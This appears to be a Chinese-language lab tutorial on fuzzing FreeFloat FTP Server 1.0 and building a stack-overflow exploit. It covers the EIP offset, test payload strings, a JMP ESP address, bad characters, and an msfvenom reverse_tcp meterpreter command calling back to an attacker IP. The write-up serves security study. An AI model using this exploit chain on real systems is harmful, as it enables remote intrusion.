Fuzzing FreeFloatFTPserver1.0与漏洞利用
目录
目录
☛ 1.漏洞介绍
☛ 2.模糊测试,测试溢出
☛ 3.模糊测试,寻找返回EIP位置
☛ 4.模糊测试,测试EIP
☛ 5.模糊测试,寻找payload启动地址
☛ 6.寻找跳板指令并测试(使用系统为 xp sp3)
☛ 7.测试获取坏字符
☛ 8.使用 metaspliot 生成 Shellcode 完成利用
☛ 9.漏洞利用
☛ 10.总结
☛ 完成时间:2018-10-26 15:02:46 星期五
☛ 1.漏洞介绍
- 软件名称:FreeFloatFTPserver1.0
- 漏洞介绍:多个FTP通信指令存在远程溢出漏洞
- 关于FTP协议:每一个FTP指令发送之后,FTP服务器都会返回一个字符串,其中包括一个返回代码和一串说明信息
- 常用FTP指令:由于FTP协议的固定性,所以我们可以对FTP服务器模拟发送FTP命令进行模糊测试,从而挖掘一些漏洞
☛ 2.模糊测试,测试溢出
1.使用15PB-FTP-Fuzzer
模糊测试
☛ 3.模糊测试,寻找返回EIP位置
1.生成poc长度的唯一字符串组成的字符串,使用 Kali 中的工具
/>cd /usr/share/metasploit-framework/tools/exploit
/>./pattern_create.rb -l 302 #生成字符串长度
2.修改 py 脚本测试
- OD附加调试
- 运行攻击脚本
/>python 02.py
☛ 4.模糊测试,测试EIP
1.测试EIP位置步骤
-
转换EIP中的字符:EIP = 0x41326941 -> Ai2A
-
使用
pattern_offset.rb
求字符串所在偏移 -
在偏移246处
-
运行 py 脚本确认溢出点
payload = "x41"*246 + "x42"*4 + "x41"*(302-246-4)
☛ 5.模糊测试,寻找payload启动地址
1.测试前面 246 字节 payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1" + "\x42"*4 + "\x41"*(302-246-4)
2.测试 ESP 指向的空间 payload = "\x41"*246 + "\x42"*4 + "\x43"*500
3.测试 ESP 指向空间的大小 payload = "\x41"*246 + "\x42"*4 + "\x43"*8 + "\x44"*500
☛ 6.寻找跳板指令并测试(使用系统为 xp sp3)
1.使用ImmunityDebugger
寻找跳板指令JMP ESP
/>!mona modules
/>!mona find -s "xffxe4" -m OLEACC.dll
- 0x7d7d77d0 => xd0X77X7dX7d 2.运行 05.py
☛ 7.测试获取坏字符
1.构造0xFF~0x00
字符串,测试坏字符,再构造Shellcode时避免这些字符串,防止截断
- Dadchar:
\x0D\x0A\x00
☛ 8.使用 metaspliot 生成 Shellcode 完成利用
1.工具:msfvenom
常用参数:
-p :指定 payload 类型
LHOST :指定IP地址(kaliIP地址)
LPORT :指定端口(4444)
-f :指定生成 shellcode 类型
-o :指定输出文件路径
-b :指定坏字符(生成时避免产生坏字符)
-l :查看参数对应支持的具体数据
2.生成 Shellcode 命令:
/>msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.9 LPORT=4444 -b "x00x0dx0a" -f python
3.将生成的 shellcode 放到07.py
中
☛ 9.漏洞利用
2.漏洞利用效果
☛ 10.总结
- 模糊测试一种非常好的漏洞挖掘的方法,但这种方法的有效性在于对协议要了解,本节分析 的 FTP 服务器涉及的 FPT 协议相对有规律,所以模糊测试成功不错。 Metasploit 中的 payload 非常丰富,是漏洞利用过程中不可或缺的利器